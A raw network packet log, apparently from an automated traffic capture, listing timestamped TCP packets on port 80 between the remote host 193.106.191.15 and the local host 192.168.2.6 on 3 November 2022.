Nov 3, 2022 12:46:55.126549959 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126575947 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126599073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126599073 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126627922 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126629114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126653910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126677990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126683950 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126703024 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126727104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126733065 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126781940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126805067 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126811981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126837969 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126864910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126868963 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126910925 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126929998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126949072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126982927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126986027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127010107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127032995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127039909 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127062082 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127073050 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127089977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127116919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127125978 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127144098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127171040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127196074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127198935 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127223015 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127247095 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127249002 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127298117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127322912 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127325058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127351999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127378941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127382994 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127407074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127433062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127435923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127484083 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127530098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127562046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127592087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127621889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127628088 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127652884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127670050 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127684116 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127715111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127744913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127751112 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127775908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127794027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127809048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127840996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127855062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127871990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127902985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127935886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.127943039 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.127975941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128004074 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128010035 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128041029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128051996 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128072023 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128102064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128122091 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128132105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128160954 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128185987 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128190041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128225088 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128256083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128288031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128317118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128343105 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128345966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128375053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128379107 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128402948 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128433943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128437996 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128463030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128492117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128516912 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128592014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128623962 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128643036 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128652096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128681898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128688097 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128710032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128739119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128743887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128767014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128797054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128807068 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128829002 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128859043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128881931 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128887892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128916979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128925085 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.128945112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128973961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.128983021 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129003048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129031897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129040956 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129061937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129091024 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129097939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129120111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129148006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129158020 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129177094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129204988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129230022 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129234076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129262924 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129268885 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129292965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129321098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129332066 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129348993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129378080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129388094 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129406929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129446030 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129503012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129533052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129561901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129582882 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129637957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129667997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129683971 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129698038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129735947 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129755974 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129764080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.129807949 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.129852057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170272112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170319080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170350075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170378923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170407057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170429945 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.170434952 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170461893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.170464039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170490980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170511007 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.170519114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170547009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170555115 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.170576096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.170608997 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.183012009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183099985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183152914 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183202028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183212042 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.183254957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183257103 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.183330059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183379889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183383942 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.183449984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183500051 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.183504105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183566093 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183623075 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.183716059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183764935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183818102 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.183826923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183929920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.183979034 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.183999062 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184056044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184098959 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184102058 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.184139967 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184180021 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.184181929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184226036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184266090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.184266090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184310913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184351921 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184353113 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.184410095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184458017 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.184478045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184536934 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184581995 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.184608936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184680939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184762001 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.184844971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184892893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184957981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.184967041 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.185017109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185065031 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.185084105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185128927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185169935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185170889 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.185235977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185283899 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.185302973 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185353041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185399055 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.185400963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185446978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185487986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185509920 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.185527086 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185576916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185579062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.185642004 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185688972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185693979 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.185933113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185975075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.185998917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186008930 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186022997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186048031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186050892 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186072111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186085939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186218977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186243057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186261892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186326981 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186444044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186469078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186492920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186516047 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186520100 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186542034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186564922 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186572075 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186592102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186606884 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186619997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186645031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186667919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186686039 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186691999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186712027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186717033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186742067 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186752081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186764956 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186789036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186800003 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186814070 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186836958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186849117 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186858892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186896086 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186899900 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186928034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186950922 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186964035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.186975002 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.186999083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187016010 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187022924 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187045097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187067986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187068939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187092066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187103987 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187117100 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187139988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187160969 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187165022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187191010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187210083 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187216043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187241077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187252998 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187263966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187287092 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187303066 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187310934 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187334061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187346935 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187356949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187378883 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187405109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187406063 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187452078 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187462091 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187484980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187510967 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187521935 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187536001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187561989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187577009 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187586069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187613010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187635899 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187659979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187664986 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187681913 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187684059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187707901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187720060 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187733889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187758923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187769890 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187783957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187808990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187815905 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187833071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187856913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187880039 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187880039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187905073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187917948 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187928915 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187952995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.187974930 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.187975883 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188000917 CET	80	49704	193.106.191.15	192.168.2.6
